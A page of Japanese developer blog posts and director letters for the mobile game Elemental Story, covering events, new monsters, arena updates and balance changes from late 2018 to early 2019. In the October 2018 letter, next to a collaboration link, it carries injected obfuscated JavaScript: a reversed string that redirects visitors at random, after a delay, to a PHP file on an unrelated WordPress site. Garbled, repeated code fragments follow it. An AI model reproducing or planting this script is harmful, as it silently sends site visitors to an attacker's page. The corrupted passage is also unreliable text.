    ・天上界『煌影の竜宮殿-Shade of Dragon Palace-』
    ・★4グランバトル実装の準備
    ・新天上界グランバトル実装の準備
    ・細かいUIの調整
    ・不具合の修正

     

    今回のアップデートで特に目玉となる内容は、新アイテム『オリハルコン』の実装と『エレメンタルカードリニューアル』になります。
    現エレメンタルストーリーの環境において武器の所持具合によって、クエストやアリーナの難易度や勝敗が大きく左右されることから今後武器の獲得頻度を増やしていこうと考えています。
    現在開催しております、『騎士集うための光』のイベント報酬にも設置せていただきましたように、イベント等に参加していただくことでイベント限定武器以外の武器を獲得できるチャンスを様々な所に用意していきます。
    上記調整に伴い、武器能力解放の難易度を考慮して今回『オリハルコン』の実装を決定しました。
    『オリハルコン』はイベントなどで獲得でき、イベント報酬・工房で生成、強化が可能な武器を除く全ての武器を能力解放できるアイテムとなってます。

     

    イベLogo_1

     

    続いて『エレメンタルカードリニューアル』です
    今回ユーザーの皆様の需要を改めて考え直し、新たな効果を追加します。

     

    現状のカード効果
    ・クエストでドロップする報酬+1
    ・モンスターの獲得EXP2倍
    上記効果に加えて
    ・深層挑戦回数上昇
    ・ユーザーランクEXP獲得量上昇
    などの効果が追加されます。

     

    詳しくは開発担当からアップデートについてのブログが後日公開されると思いますのでそちらをご確認ください。

     

    ■過去にご質問や実装についてお話した内容の進捗などについて

     

    お問い合わせや、僕のTwitterに設置してある質問箱などで特に多くいただいている項目について少しだけお話させていただきます。

     

    ・アリーナについて
    まず対応と、ご報告が遅くなってしまい申し訳ありません。
    昨年の11月頃のアリーナ改修以降通信状況による障害自体はデータ上大幅に減少傾向にありますが、まだ発生しているのは事実です。 割合でいうと週毎の全バトル数に対して2~2.5%くらいの切断が発生している状況です。
    どのような通信環境・端末の状態で発生しているのか、全ての状況を確認することが困難かつ、通信の仕組み上どうしても0%にすることは難しく、ここをできる限り0%にするためには通信周りの根本的な改修が必要になります。
    今後も引続き、不正調査や切断原因について動向を追っていくと共に、根本的な通信仕様の改修も含めて対応していきます。
    本件に関して引続き進展があり次第ディレクターレターやゲーム内のお知らせなどで状況などをお伝えさせていただきます。

     

    ・クロスロワイヤルの仕様変更と★7デウス・エクス・マキナの実装について
    こちら大変おまたせしてしまい申し訳ありません。
    みなさんからたくさんの要望やご意見をいただいており、現状は把握しております。
    僕自身もコンテンツ自体の改善は必要だと感じておりますが、基礎的なルール改修・マッチングロジックの改修など含めますと膨大な時間が掛かってしまうため、優先順位としては少し下げてしまっております。
    こちらは、期待してくださっている方には申し訳ないです。
    本件に関しても進展があり次第、改めてディレクターレターなどでお伝えいたします。

     

    ・試練モンスターのソウル99状態でモンスター獲得時のマナ調整について
    以前秋葉原で開催されたファンミーティングでもご質問いただきました。
    ファンミーティングの際は検討させていただきますと回答いたしました通り、時間がかかってしまいましたが議論の方を進めてまいりました。
    結論、現エレメンタルストーリーの環境を考慮してソウル99状態でモンスター獲得時のマナ獲得量を1000に戻す対応は見送らせていただきます。
    回答に時間がかかってしまい申し訳ありません。
    しかし、多くのみなさんにモンスター獲得時のマナ獲得量についてご意見をいただいている状況を考慮して
    例えば、試練のみんなでクエストにおいて、まだソウル99になっていない初心者オーナーの方を手伝った場合は、該当モンスターのソウル分を1,000で付与するなど、一定の条件を設けたうえで引き続き検討を進めさせていただければと思っています。

     

    ・イベントの復刻スケジュールについて
    こちらに関しては今後コンスタントに復刻開催する方向で進めております。
    まずイベント「運命のリベラシオン」シリーズについては今月開催しました「復刻!運命のリベラシオン-閃光の勇者アラン編-」同様月1種類くらいのペースでグランバトルのみ復刻開催いたします。
    つづいて「天上界ボスグランバトル」も今後定期的に復刻開催を予定しております。ソフォスに関しては他の天上界ボス実装後に復刻予定なので数ヶ月先になる見込みです。

    最後に「次元の扉」シリーズで獲得できたナンバーズシリーズの復刻と未実装ナンバーズの実装タイミングについてですが、現在5~6月頃の実装に向けて調整を進めている段階です。
    ナンバーズシリーズ実装と同時に、イベント「次元の扉」で敵として登場した次元獣も獲得できるように調整を進めています。

     

    他にも回答できていない内容や、実装についての進捗などご報告しなくてはならないことがたくさんありますが一旦この場は以上とさせてください。
    上記内容や、その他項目についても引続きディレクタレターや生放送などでお伝えできればと思っていますのでお待ちいただけますと幸いです。

     

    ■最後に

     

    とても長くなってしまいましたが今回のディレクターレターは以上とさせていただきます。
    最後まで読んでいただいたお礼として今回から”あいことば”を用意させていただきました

     

    あいことば→『マスターベリー加藤』
    公式LINEに上記合言葉を入力していただくとゲーム内で利用できるアイテムが受け取れます。(受け取りは2/15(金)23:59までです)
    エレスト公式LINEアカウントはこちら→エレスト公式LINEアカウント
     

    2019年のエレメンタルストーリーは様々な取り組みや、コラボ・ファンミーティング・グッズ展開など楽しんでもらえる方が一人でも多くなるよう精一杯頑張っていきますので、引き続きよろしくお願いします。

     

    エレメンタルストーリー ディレクター 加藤拓真

     

    Twitterも更新していますので是非followをお願いしますm(_ _)m
    Twitter→加藤Twitter

    2019.1.25
  • ディレクターレターvol14

    エレメンタルストーリー

     

    みなさん、あけましておめでとうございます!早速ではございますが『エレメンタルストーリー』のディレクターを
    務めてまいりました井上に代わり、2019年1月1日より私、加藤拓真がディレクターに就任することになりました。

    1年半程、エレメンタルストーリーのプランナーとしてグランバトルの開発を任せていただいたり、ファンミーティングなどでお話をさせていただきました。
    今後は井上に替わり、生放送やディレクターレターでエレストの最新情報をお届けしていきますのでどうぞよろしくお願いします。

     

    新年画像

     
    ▼1月開催予定のイベントについて
     

    ▼1月前半のイベント
    イベLogo_1
    12月31日からイベント『イナリの福参り』が開催しております。
    ディレクターレターでは上記イベントで手に入るモンスターの一部を紹介させていただきます。

     

    ★6マリシテン

     

    マリシテン
    同イベントで手に入る「★5武器・蓮華慈賢杖」を装備させることでかなり強力なキャラクターに仕上がるので是非武器の獲得も目指してください。

     

    ★5新春のフレイ

     

    フレイ

     

    当イベントでは、新機能としてルーレット機能が追加されています。
    イベントステージにおいて特定の条件を満たすと体験できるので是非プレイしてみてください。
    詳しい内容は生放送でチェックできるので下記URLからご確認ください。
    エレスト生放送Vol.53

     

    ▼1月後半のイベント

     

    イベLogo_2

     

    1月15日からはイベント『騎士集うための光-Knights of the Round Table-』が開催されます。
    円卓の騎士をモチーフとしており、新しく登場する円卓の騎士や過去に登場した円卓の騎士の究極融合などを予定しております。
    イベントで入手できる新モンスターを一部紹介します。

     

    ★5背徳のモルゴース

     

    モルゴース

     

    ★5アグラヴェイン

     

    アグラヴェイン

     

    他にも多数新モンスターが登場予定ですので、楽しみにしていてください。
    また究極融合する円卓の騎士の内容については次回生放送で公開予定ですのでもう少しお待ちいただければと思います。

     
    ▼モンスターバランスアップデートについて
    先日はTwitter上でも、担当からみなさんの要望をお聞きする機会を設けさせていただきました。
    バランスアップデートの内容自体は、Twitter告知時点で決定しておりましたが、みなさんのご指摘から調整内容を追加しているモンスターもございます。
    是非、実際に使った感想をお寄せいただけますと幸いです。
    次回以降のバランスアップデートにつきましても、順次実施してまいりますので楽しみにしていてください。

     

    ▼運命のリベラシオンの復刻について
    キャンペーンのお知らせなどでも告知されておりますが、1月に『運命のリベラシオン-閃光の勇者アラン編』を復刻開催いたします。
    運命のリベラシオンシリーズの復刻はグランバトルのみとなっており、「五戦神の戦貨」など一部のアイテムは入手できませんが、★7モルスシリーズの究極融合に必要なモンスターや過去運命のリベラシオンで登場したモンスター、五戦神シリーズの武器作成に必要な素材などが獲得できます。

    今後定期的に復刻開催いたしますので、★7モルスの素材集めやリベラシオンシリーズの★6モンスター未獲得のみなさんは期待してお待ちいただければと思います。

     

    ▼天上界 新エリア 『煌影の竜宮殿-Shade of Dragon Palace-』について
    前回のディレクターレターでお伝えさせていただきました、種族ドラゴンを題材とした天上界の新エリアについて進展があったので紹介させていただきます。
    新エリア名は『煌影の竜宮殿-Shade of Dragon Palace-』(こうようのりゅうきゅうでん)です。

    煌影の竜宮殿で登場予定の新モンスターとマップ画像のラフを特別に先行公開いたします。

     

    ▼煌影の竜宮殿MAPラフ
     
    ドラゴンMAP
    ※開発中のためゲーム実装時とはイメージが異なる場合がございます

     

    ★6賢竜レガリア

     

    レガリア

     

    ★6墜竜メルトゥース

     

    メルトゥース

     

    ▼定常コンテンツの追加やバランス調整などについて
    以前からディレクターレターでお話させていただいている、「★7デウス・エクス・マキナ」の実装や「ナンバーズシリーズ」の実装についてみなさんをお待たせしてしまい大変申し訳ありません。
    様々な観点でのバランス調整に時間を要しており、正確なリリースや調整完了時期についてお伝えできることが少なく心苦しい限りです。
    ちゃんとした形でみなさんにお届けしたいと考えていますので、今しばらくお待ちください。

     

    ▼2019年コラボイベント予定について
    2019年3月頃とあるアニメタイトルとのコラボイベント開催に向けて準備を進めております。
    まだ詳しい内容などについてはお話できませんが、詳細が決まり次第生放送やディレクターレターにてお知らせしますので楽しみにしていてください。
    3月以降も様々なタイトルとのコラボに向けて現在準備を進めております。

     

    これからも多くのユーザーのみなさんに楽しんでいただけるよう全スタッフ一同、全力で開発・運用に努めてまいります。
    引き続きエレメンタルストーリーをどうぞよろしくお願いします。

    加藤 拓真

    2019.1.1
  • ディレクターレターvol13

    エレメンタルストーリー

    みなさん、エレメンタルストーリーディレクター井上でございます。
    今月もこれからのエレメンタルストーリーについてご紹介させていただきたく思っております。


    ▼大感謝祭4thHalfAnniversaryについて
    年末年始に毎年恒例の大感謝祭4thHalfAnniversaryを行うため、現在準備を行っております。
    様々なキャンペーンの開催を予定しておりますので、是非みなさんでご参加いただけますと幸いです。
     

    ▼12月開催予定のイベントについて
    続いて、12月開催予定のイベントについてご紹介いたします。

    ▼12月の前半のイベント
    リベラシオン
    運命のリベラシオンは-惑星コウグのお姫様!?-が11月28日(良いニッパーの日)から開始され、11月30日からは運命のリベラシオン-氷河の勇者ベルタ編-が開催されます。
    今回の開催では、★5ベルタの武器も工房に追加されるとのことなので、ご期待いただけますと幸いです。

    エレスト生放送Vol.51でも★6蒼氷王の加護ベルタなどの能力や画像を告知しておりますため、ディレクターレターではイベントで獲得できるモンスターを画像のみ先行して公開させていただきます。

    ★6サタン
    サタン
     
    ★5サタナキア
    サタナキア
     
    どちらも種族はデビルとなっており、性能としては非常に攻撃的なモンスターとなっておりますので、是非GETしてください。

    ▼12月の後半のイベント
    クリスマス
    エレストでも毎年恒例となっているクリスマスイベントが12月中旬から行われます。
    今回は同時期に開催される試練やイベント報酬で獲得できるモンスターの画像を公開いたします。

    ★5クリスマストントゥ
    トントゥ
     

    ★5クリスマスイスラフィル
    クリスマスイスラフィル
     

    過去のクリスマスイベントで登場した★5ループレヒトや★5グレートチキンなどのモンスターも獲得できるよう準備を進めておりますので、今年から始めたみなさんは忘れずに試練に挑戦してみてください。
     

    ▼2019年のイベントについて
    みなさんのTwitterなどを拝見していると、新年のモンスターが非常に気になっているのを数多く確認しておりますため、少し気が早いですがシルエットのみ公開させていただきます。
    ★? ??????
    2019年
     
    上記のシルエットのモンスターは既存モンスターの季節限定版となりますが、このシルエットではモンスターを特定できないかと思います。
    シルエットのモンスターに関しては、次回のDレターにて詳細をご紹介させていただきます。
     

    ▼12月のアップデート内容について
    10月末にアリーナリーグのアップデートを行ったばかりではございますが、12月中を目途にv4.12へのバージョンアップデートを予定しております。
    主な内容の1つとして、武器のソート機能・武器絞り込み機能があるので、今回はその開発中画像を公開させていただきます。 

    武器絞り込み
    ※開発中の画像となるため、実装時の画面とは異なります。

    武器の絞り込み機能につきましては、画像のように「属性」「レアリティ」「アビリティの有無」「解放段階」そして「装備条件」での絞り込みが可能となります。

    上記のほかにも年末年始の大感謝祭キャンペーンやイベント開催時、みなさんに楽しんでいただけるような機能を今回のアップデートでは追加させていただきます。

    ▼モンスターバランスアップデートについて
    大感謝祭の期間中に★6ヴィヴィアン、★6ニケ、★5アマテラス(究極アマテラス)、★5マッドハッターを始めとしたモンスターを中心にバランスアップデートを行わせていただきます。

    期間が短いのですが、2018年11月30日までにドリームボードに投稿されたバランスアップデートの内容を順次確認し担当と共に反映を逐一検討しておりますので、何かご要望などがございましたらドリームボードへとご投稿いただけますと幸いです。
     

    ▼究極融合について
    ★5究極ヴェルダンディについて、公開から時間が経っておりますが、もう間もなく実装となりますので今しばらくお待ちください。

    また、2019年1月には円卓の騎士編のモンスターが究極融合予定です。
    究極融合対象モンスターにつきましては、12月のエレスト生放送にて公開を予定しております。
     

    ▼次回天上界の実装について
    現在、「種族:ドラゴン」の天上界ステージの作成が進行しております。
    碧翠の巨獣岩、逆天の妖魔城と同様に新ギミックが登場いたします。
    こちらにつきましてはマップ、モンスターなどの公開準備ができ次第、順次公開いたしますのでお待ちください。
     

    ▼グランバトルについて
    ▼★1グランバトルの改修
    まず★1グランバトルの改修について、過日よりご報告しているにもかかわらず、お時間を頂戴する運びとなっておりますことお詫び申し上げます。

    ★1グランバトルで獲得できるモンスターの敷居が下がることで、より多くのみなさんが蜃気楼の塔1層の攻略や★2、★3グランバトルに挑戦しやすくなるような改修内容を再度検討しておりますので、今しばらくお待ちください。

    ▼天上界ボスモンスターの実装
    天上界ボス「★6ソフォス」などのモンスターにつきまして、年明けの実装を目途に仕様の検討を進めている段階でございます。

    ちなみに、「逆天の妖魔城」で登場したボスモンスターの名前は「ゲシュペンスト」です。
    敵AIでも名前を喋っていなかったようで、名前がわからないとのお問い合わせを頂戴しておりましたため、この場をお借りしてお詫びいたします。
     

    ▼今後のコラボイベントについて
    11月28日から開催されるニパ子ちゃんとのコラボ以降、実施に向けて現在は3件話を進めている段階です。
    コラボの開催が決まり次第、順次公開してまいります。
     


    12月目前で、めっきり寒くなってまいりましたので、みなさんもお体にお気をつけてお過ごしください。
    引き続き「エレメンタルストーリー」をよろしくお願いいたします。

    エレメンタルストーリー ディレクター 井上佑泰

    2018.11.27
  • 新モンスター紹介!『★6竜装騎士シリーズ』
    アカエビ
    こんにちは。実装されるモンスター性能の設計を担当しているプランナーのアカエビです。
    このたびゲーム内に登場する新たな★6モンスター「竜装騎士シリーズ」をご紹介いたします!

    ★6炎竜装ダイムス
    ★6炎竜装ダイムス

    今回追加される5属性★6のモンスターは属性以外は全員共通の性能となっています。
    今回はこの場をお借りして、スキル・アビリティの効果を説明させていただきます!

    ★6水竜装クラリッサ
    ★6水竜装クラリッサ


    スキル1:敵単体に○属性攻撃、さらに盤面上にあるコアにダメージを与える
    スキル2:敵全体に強力な○属性攻撃、さらに盤面上にあるコアにダメージを与える


    スキル1、スキル2は共に盤面のコアをにダメージを与えるスキルを持っています。
    この後に紹介するスキル3を使用するために邪魔なコアを破壊するために所持しているスキルとなります。

    使う機会はそう多く無いと思いますが、コアブレイカー系のアビリティを揃えるまでは活用してみてください!

    ★6嵐竜装イオ
    ★6嵐竜装イオ


    スキル3
    敵全体に超強力な○属性攻撃、気絶するまで自身のスキルは使用できず、効果中は攻撃がかなり大きく強化


    このスキルを発動すると、以降特殊な状況を除いてスキルが発動できなくなります。
    通常攻撃しか行えなくなりますが、ダメージが大きく上昇するので、次に紹介するアビリティと非常に相性が良いスキルとなっています。

    ★6光竜装コーデリア
    ★6光竜装コーデリア


    進化アビリティ:○属性攻撃力3倍
    ○属性の味方の通常攻撃の威力が3倍になる(重複なし)


    試練で入手できる「★6ペルーン」より倍率の高い通常攻撃強化アビリティが遂に登場します!
    このアビリティにより、前述したスキル3でスキルが使えなくなった状況でも非常に高いダメージを与えることができます。

    また、味方の通常攻撃によるダメージも底上げすることができるので「先制攻撃」「2回攻撃」「連撃」「カウンター」などの通常攻撃アビリティを持ったモンスターと一緒のパーティ編成することで、パーティ全体で大ダメージを与えることが可能となります。

    希少なモンスターではありますが「★6スルーズ」と一緒に編成することで、通常攻撃によるダメージを更に強化することが可能となっておりますので、持っている方は是非お試しください。

    ★6闇竜装ハウメア
    ★6闇竜装ハウメア


    Soulアビリティ:攻撃力増加+500
    攻撃力が500アップ ※SoulMax時の性能となります

    覚醒アビリティ:全体攻撃
    通常攻撃が全体攻撃になる


    ★6モンスターしか所持していないステータス上昇系アビリティと、通常攻撃によって全体にダメージを与えることができるようになるアビリティです。

    全体攻撃を持ったモンスターは5属性大陸はもちろん、少し進むと蜃気楼の塔や天上界ステージ、アリーナリーグでの活躍が見込めます。


    最後に「★6水竜装クラリッサ」のプレイ動画をご紹介いたします。
    ゲーム内の召喚画面からもモンスター毎の動画を確認できますので、是非ご覧ください!

    ※動画を再生するには、videoタグをサポートしたブラウザが必要です。


    今回は竜装騎士シリーズをご紹介させていただきましたが、いかがでしたでしょうか。
    Twitterも拝見しておりますので、是非ハッシュタグ「#エレスト」「#竜装騎士」をつけて使用感などをツイートしていただけますと幸いです。

    また、機会があれば今後実装するモンスターの詳細もご紹介したいと考えておりますので楽しみにしていただけると幸いです。

    今後とも「エレメンタルストーリー」をよろしくお願いいたします。

    ※実装後、バランス調整などで性能を調整する場合がございます
    ※当ブログにて使用している表現は、ゲーム内と一部異なる場合がございます

    2018.11.8
  • アリーナアップデートに関しまして
    アイコン

    開発チームうっちーです。
    (前回アップデート記事を寄せたところ、チーム内で「お前誰だよ感すごくないです?」と言われましたが、2年前に投稿してるんですよ!)

     

    v4.10がリリースされました。
    デイリー大会報酬の見直し、レーティング、オート、リフレッシュ変更など、
    エレストのコンテンツの中でも、ユーザーの皆様の中でも熱量が高い為、最後まで仕様とバランスに悩みましたが、参加頂く数も増え今までより敷居を低くすることができたのではと思っています。

    現在クラス再配置の影響で徐々に分散されてきたものの、
    200Rt近辺と上位層のマッチングに難があり、全ユーザー様の戦績を確認しつつ、マッチングロジックの調整を都度行っております。

    いくつかアップデートを通して仕様をうまく伝えきれなかった点がありましたのでご案内させて頂きます。

     

    ■レーティングとマッチングについて

    「コレはクラスを上げるのが辛すぎないか?」と
    実はリリース直前で勝利時のRtや、対CPU時の獲得Rtを緩和調整しました。

    v4.9以前は長時間でクラスを上げていく設計でしたが、
    シーズンリセット導入に伴い、ひと月である程度クラスが上げやすい設計としました。
    また今回レーティング導入によりSランク帯で実力差の大きいマッチングの発生も減ったかと思います。

     

     

     

    上位クラスのデイリー大会のバランスが厳しすぎないか?

    レーティングを導入した事による大きい変化だと思います。
    v4.9以前のSクラスはクラス昇格直後のユーザーから、
    万単位でバトルを重ねてきたベテランまで玉石混交の状態でした。

    その為、「Aクラスから上がりたくない」という体感も生まれてしまい、今回のアップデートではこの問題解消がひとつの焦点となっていました。

    「以前より厳しい体感となった」と感じられる方もいらっしゃると思いますが、
    アップデート後のデータでは勝率はほぼ60%と、
    アリーナ全体では最適化が進んだものと考えています。

    エレメンタルストーリー※v4.10アリーナリーグの全バトル履歴より集計

     

     

    ■シーズン報酬と週替りモンスターについて

    まず申し訳ありません。シーズン報酬につきまして順位幅が完全にミスでしたm(__)m
    3000位まで拡大させて頂きました事をお詫び申し上げます(寝ぼけてたのかな・・・)

    シーズン報酬はデイリー大会優勝報酬の週替り★5モンスターですが、Soul99完成まで、かなりのショートカットになります。

    今後も週替りモンスターに関しては定期的な報酬の差し替えを検討しておりますので、
    アリーナ好きのユーザー様は(無理のない範囲で)ランキング上位を狙ってみてはどうでしょうか。

     

     

    ■スターロードについて

    エレメンタルストーリー
    今回アリーナコインでDクラスから交換できる「失われた星の剣」を覇鉄鉱で強化することで手に入る武器です。

    最終段階では3回攻撃かつ全属性のマルチピース上限数をアップするという、グランバトルでとてもユニークな良性能ですので、是非武器育成に挑戦して頂ければ幸いです。

    エレメンタルストーリー
    最終段階までに必要な覇鉄鉱の必要量は上記の通りです。
    ※覇鉄鉱Ⅳ、Vについて必要数を越えて獲得が想定される為、月次制限へ変更させていただきました。

    覇鉄鉱には週制限があり、武器の強化には成功率が設定されています。
    また、シーズン終わりにはクラスリセットも発生します。
    流行ってから作り始めても育成に時間がかかるコンテンツですのでご利用は計画的に!
    (11月シーズン中にSクラス(500Rt)以上にしておくのが個人的なオススメです!)

     

     

    ■スタンプ報酬について

    アップデート情報に全て載せるのが冗長だった為、簡易記載としましたが、アリーナリーグスタンプ報酬が変更されています。

    エレメンタルストーリー

    ソウルベリー増加、アリーナコイン、エレメンタルコインの追加
    虹玉100%チケットが5日目でとれるようになっていたり、
    コストとメリットを改善したつもりですので、
    「アリーナは苦手・・・」というユーザー様も、
    是非スタンプ報酬だけでも狙ってみてもらえればと思います。

     

     

    ■アリーナコインについて

    スターロードの最終段階を作るまでに覇鉄鉱の交換でアリーナコインが必要になります。
    キツすぎない程度にしたつもりですが総量にするとそれなり・・です。

    週制限は問題ないのにコインが足りなくて武器の完成が遅れる
    ・・・といった事を避けて頂くためにも、土日のトレーニングモード獲得コイン数2倍をご利用頂ければ何よりです。

     

    ■アリーナアップデート記念キャンペーンについて

    11月15日まで、アリーナを『より楽しむため』のキャンペーンを開催中です。
    ①クラス昇格して「アリーナCP★5武器召喚券」
    ②デイリー大会バトル無料回数20回
    ③ログインボーナスでいきなりソウル99モンスター交換券
    など、
    詳しくはゲーム内のお知らせにて記載しています。
    エレメンタルストーリー
    ソウル99モンスター交換券に関しては、いまから戻っても戦力になるような
    即戦力を提供させていただきたいと思い、今回は初の試みで実施しました。
    ※交換券のご利用は11月中なので、お忘れなく!

     

    ■今後のアップデートについて

    開発チームとしては究極!ニパ子ちゃんコラボや、
    年末年始に向けた次期アップデートに向けて動き出しています。
    来年の大感謝祭は今まで以上にユーザーの皆様に楽しんでいただけるものとなるよう、
    運営チーム一同、鋭意検討中ですので是非楽しみにお待ちいただければ幸いです。

     

     

    2018.11.7
  • ディレクターレターvol12

    エレメンタルストーリー

    みなさん、エレメンタルストーリーディレクター井上でございます。

    今回はディレクターレターvol12ということで、ディレクターレターをはじめてから約1年が経ちました。
    たくさんのみなさんに支えていただいた感謝の気持ちとして下記アイテムをプレゼントいたします!

    ・火のソウルベリー(+10)×3
    ・水のソウルベリー(+10)×3
    ・木のソウルベリー(+10)×3
    ・光のソウルベリー(+10)×3
    ・闇のソウルベリー(+10)×3

    ぜひこの機会にまだ育成できていないモンスターを育てて、アップデートされたアリーナで遊んでいただければと思います。

     

    ▼エレストファンミーティング2018秋@秋葉原へのご参加のお礼

    9月30日には、天候がすぐれない中、たくさんの方に1dayファンミーティングへお越しいただき、誠にありがとうございました。
    アリーナ大会でも総レア度18以内などの制限を設けたことで、普段とは違う戦略を考える機会となったのではないでしょうか。
    さらに今回初となる会場限定グランバトルは100人近くとなる大勢の方に同時に参加していただき、会場内で一体感が生まれたかと思います。
    今回、皆さんから頂戴した意見を反映した新グッズはご好評をいただきました。今後もファンミーティングを開催する際には新グッズを必ずご用意いたします!
    質問コーナーでいただいたご意見に関しても、厳しく受け止めて今後のエレストをより良い方向に改善していきます。
    次回開催の場所はまだ未定となっておりますが、今後のファンミーティング開催のお知らせを楽しみにお待ちいただければと思います。

    写真

     

    ▼【続々報】サントラ第2弾(3枚組)+イラスト集のお知らせ

    みなさんから最も要望の多かった第2弾の「サントラ」に関しては、たくさんの方に手に取っていただけるよう、初のネット販売を行っております。
    商品詳細をご覧いただくだけでも楽しめると思いますので、是非ともご確認ください。
    受注期間は11/2(金)の23:59までとなっておりますので、お見逃しなく。
    ◆予約サイトはこちら!
    予約サイト
    ※外部サイトに遷移します

    『3rd Anniversary ELEMENTAL STORY BOX ‐ORIGINAL SOUNDTRACK&ART BOOK』
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    ▼アリーナリーグリニューアルについて
    10月29日にアリーナリーグの大型改修を行わせていただきました。
    予告していた時期よりも、実装までにお時間を頂戴いたしましたこと、申し訳ございません。
    最初のうちは一律なスタートとしたかったため、Rtに対して不公平と感じるマッチングもあるかと存じます。
    そのため、Rt値によるマッチング幅を調整し、より適切なマッチングとなるよう対応してまいります。
    AUTO機能の実装も相まって、よりお手軽に、より熱くなれるアリーナリーグになっていると思いますので、是非みなさん1度はアリーナリーグにご参加ください。

    ▼11月開催予定のイベント

    ▼11月前半のイベント
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    戦国編3回目のイベントとなる今回は、真田丸を舞台としたユキムラ編を開催いたします。
    すでに生放送やアプリスタイルなどでご確認されているかも知れませんが、今回は主役となるユキムラとマサムネのイラストをみなさんに公開いたします。

    ★5ユキムラ
    ★5ユキムラ

    ★5マサムネ
    ★5マサムネ

    ▼11月後半のイベント
    logo2
    エジプト神話に関わるイベントを開催します。
    アイテムを集めることで「とあるエジプト神話編モンスター」の武器を獲得できるとのことです。

    イベントで獲得できるモンスターの画像をまだお見せすることができないため、今回は特別に該当時期に究極融合を予定しているモンスターを先行して公開させていただきます。

    ★5究極バステト
    ★5究極バステト

    ▼11月のコラボキャンペーンについて

    まだ開催日についてはお伝えできませんが、「究極!ニパ子ちゃん」とのコラボを11月中に開催いたします。

     

    ★6ニパ子ロゴ

     

    今回は特別に制作中のラフイラストを入手したので先行公開いたします。

     

    ★5ニパ子ラフ

     

    この他にも、何種類かオリジナルニパ子ちゃんが登場予定なので是非楽しみにしていて下さい。

     

    【Project NIPAKO】ニパ子ちゃん公式サイト
    $mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andtool”>ニパ子ちゃん公式Twitter

     

    また11月28日「いいニッパーの日」に先駆け、巨大ニッパーづくりにチャレンジするRT企画がニパ子ちゃん公式Twitterで開始されていますのでよろしければ是非ご参加の方よろしくおねがいします。

     

    ▼★6宝石竜シリーズのバランスアップデートについて
    新しいアビリティを追加したいと考えていたため、ver4.10.0のアップデート以降に行うことにいたしました。
    そのため、遅くなってしまい申し訳ないのですが11月9日(金)に★6宝石竜のバランスアップデートを実施いたします。

    ★6アメタスト

    実装予定の内容は以下としておりますが、必ず実施する内容ではございませんことご理解ください。

    スキル1、スキル2
    ・変化に必要な消した○ピースと○マルチピースの合計が12個に変更

    スキル3「フォースオブ○○」
    ・マルチピース数に応じたダメージ量を増加

    覚醒アビリティ「○○トランス」
    ・「真・○○トランス」に変更
    EXアビリティ
    ・「マルチピース増加+1 : ターン終了時に火マルチピース最大数増加量が追加で1上昇」の追加

    今後、より高いHPを持つグランバトルの実装を予定しているため、その先駆けとしてマルチピースの恩恵を大きく受けることのできるモンスターへとバランス調整させていただきます。

    ▼今後のアップデートについて
    アリーナリーグの大型改修が終わったばかりではありますが、次回のアップデート内容を検討しております。
    パーティごとに編成できるのが今まではモンスターとアビリティカードのみでしたが、武器もパーティ編成として登録できるような変更を検討しています。

    現時点では、詳細をお伝えできる状況では無いのですが、今後実装が決まったものに関しては順次みなさんに公開できればと考えているので、楽しみにお待ちください。

    また、上記のパーティ機能を含め、なにかご要望があればドリームボードにご投稿ください。

     


    それではみなさんエレメンタルストーリーをよろしくお願いいたします。
    エレメンタルストーリー ディレクター 井上佑泰

    2018.10.30
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